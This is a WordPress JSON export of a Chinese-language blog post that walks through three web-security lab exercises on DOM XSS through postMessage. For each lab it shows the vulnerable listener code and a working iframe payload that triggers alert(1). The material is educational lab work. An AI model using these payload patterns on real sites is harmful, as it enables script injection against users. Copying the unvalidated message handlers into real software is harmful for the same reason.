{"id":1267,"date":"2023-02-21T23:27:00","date_gmt":"2023-02-21T15:27:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1267"},"modified":"2024-03-16T00:38:24","modified_gmt":"2024-03-15T16:38:24","slug":"dom-xss-with-websocket","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1267","title":{"rendered":"DOM XSS to websocket"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>\u5982\u679c\u9801\u9762\u4ee5\u4e0d\u5b89\u5168\u7684\u65b9\u5f0f\u8655\u7406\u50b3\u5165\u7684 Web \u8a0a\u606f\uff0c\u4f8b\u5982\uff0c\u672a\u5728\u4e8b\u4ef6\u5075\u807d\u5668\u4e2d\u6b63\u78ba\u9a57\u8b49\u50b3\u5165\u8a0a\u606f\u7684\u4f86\u6e90\uff0c\u5247\u4e8b\u4ef6\u5075\u807d\u5668\u547c\u53eb\u7684\u5c6c\u6027\u548c\u51fd\u6578\u53ef\u80fd\u6703\u6210\u70ba\u63a5\u6536\u5668\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u7528<code>iframe<\/code>\u4e26\u642d\u914d<code>postMessage()<\/code>\u65b9\u6cd5\u5c07 Web \u8a0a\u606f\u8cc7\u6599\u50b3\u905e\u5230\u6613\u53d7\u653b\u64ca\u7684\u4e8b\u4ef6\u5075\u807d\u5668\uff0c\u7136\u5f8c\u5075\u807d\u5668\u5c07\u6709\u6548\u8ca0\u8f09\u50b3\u9001\u5230\u7236\u9801\u9762\u4e0a\u7684<code>sinks<\/code>\u3002\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################# normal request ################# \r\nGET \/ HTTP\/1.1\nHost: acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net\r\n...omit...\n\r\n################# normal response ################# \r\n...omit...\r\n&lt;script>\r\nwindow.addEventListener('message', function(e) {\r\n     document.getElementById('ads').innerHTML = e.data;\r\n})\r\n&lt;\/script>\r\n...omit...<\/code><\/pre>\n\n\n\n<p>\u53ea\u8981\u6e96\u5099\u4ee5\u4e0b\u653b\u64ca\u9801\u9762\uff0c\u53d7\u5bb3\u700f\u89bd\u53ea\u8981\u700f\u89bd\u6b64\u9801\u6703\u89f8\u767c<code>alert(1)<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe src=\"https:\/\/acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net\/\" onload=\"this.contentWindow.postMessage('&lt;img src=1 onerror=alert(1)>','*')\"><\/code><\/pre>\n\n\n\n<p>Lab: DOM XSS using web messages<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6709\u6642\u4e8b\u4ef6\u5075\u807d\u5668\u78ba\u5be6\u5305\u542b\u67d0\u7a2e\u5f62\u5f0f\u7684\u4f86\u6e90\u9a57\u8b49\uff0c\u4f46\u9a57\u8b49\u6b65\u9a5f\u6709\u6642\u4e5f\u53ef\u80fd\u5b58\u5728\u6839\u672c\u7f3a\u9677<\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5f9e\u8fd4\u56de\u4fe1\u606f\u4f86\u770b\uff0c\u5047\u5982url\u6709\u5305\u542bhttp\uff0c\u5c31\u6703\u5c07\u53ef\u63a7\u8a0a\u606f\u50b3\u5230location.href <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################# normal request #################\r\nGET \/ HTTP\/1.1\nHost: acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net\r\n...omit...\n\r\n################# normal response #################\r\n...omit...\r\n&lt;script>\r\nwindow.addEventListener('message', function(e) {\r\n   var url = e.data;\r\n   <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {\r\n      location.href = url;<\/mark>\r\n   }\r\n}, false);\r\n&lt;\/script>\r\n...omit...<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u6e96\u5099\u4ee5\u4e0b\u653b\u64ca\u9801\u9762\uff0c\u5728\u653b\u64ca\u8a0a\u606f\u5167\u5305\u542bhttp\u5b57\u4e32\uff0c\u5982\u679c\u53d7\u5bb3\u700f\u89bd\u6b64\u9801\u6703\u89f8\u767c<code>alert(1)<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe src=\"https:\/\/acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net\/\" onload=\"this.contentWindow.postMessage('javascript:alert(1)\/\/http:','*')\"><\/code><\/pre>\n\n\n\n<p>Lab: DOM XSS using web messages and a JavaScript URL<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53e6\u4e00\u500b\u4f8b\u5b50\u5982\u4e0b\uff0c\u5728\u8acb\u6c42\u7684\u56de\u61c9\u4e2d\u767c\u73fe\uff0c\u7576<code>type<\/code>\u7b49\u65bc<code>load-channel<\/code>\uff0c\u6703\u5c07<code>url<\/code>\u8a0a\u606f\u7684\u5c6c\u6027\u6307\u6d3e\u7d66<code>ACMEplayer.elementiframe<\/code>\u7684<code>src<\/code>\u5c6c\u6027\u3002\u7136\u800c\uff0c\u5728\u9019\u7a2e\u60c5\u6cc1\u4e0b\uff0c<code>url<\/code>\u8a0a\u606f\u7684\u5c6c\u6027\u5be6\u969b\u4e0a\u53ef\u4ee5\u5305\u542bJavaScript \u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################# normal request #################\r\nGET \/ HTTP\/1.1\nHost: ac9e1f151fc679b4809012a500660023.web-security-academy.net\r\n...omit...\n\r\n################# normal response #################\r\n...omit...\r\n&lt;script>\r\nwindow.addEventListener('message', function(e) {\r\n   var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;\r\n   document.body.appendChild(iframe);\r\n   try {\r\n      d = JSON.parse(e.data);\r\n   } catch(e) {\r\n      return;\r\n   }\r\n   switch(d.type) {\r\n      case \"page-load\":\r\n          ACMEplayer.element.scrollIntoView();\r\n          break;\r\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">      case \"load-channel\":\r\n          ACMEplayer.element.src = d.url;<\/mark>\r\n          break;\r\n      case \"player-height-changed\":\r\n          ACMEplayer.element.style.width = d.width + \"px\";\r\n          ACMEplayer.element.style.height = d.height + \"px\";\r\n          break;\r\n   }\r\n}, false);\r\n&lt;\/script>\r\n...omit...<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u53ef\u6e96\u5099\u4ee5\u4e0b\u653b\u64ca\u9801\u9762\uff0c\u5982\u679c\u53d7\u5bb3\u700f\u89bd\u6b64\u9801\u6703\u89f8\u767c<code>alert(1)<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe src=https:\/\/ac9e1f151fc679b4809012a500660023.web-security-academy.net\/ onload='this.contentWindow.postMessage(\"{\\\"type\\\":\\\"load-channel\\\",\\\"url\\\":\\\"javascript:alert(1)\\\"}\",\"*\")'><\/code><\/pre>\n\n\n\n<p>Lab: DOM XSS using web messages and&nbsp;JSON.parse<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5982\u679c\u9801\u9762\u4ee5\u4e0d\u5b89\u5168\u7684\u65b9\u5f0f\u8655\u7406\u50b3\u5165\u7684 Web \u8a0a\u606f\uff0c\u4f8b\u5982\uff0c\u672a\u5728\u4e8b &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[41],"class_list":["post-1267","post","type-post","status-publish","format-standard","hentry","category-clientside","tag-xss"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1267"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1267\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}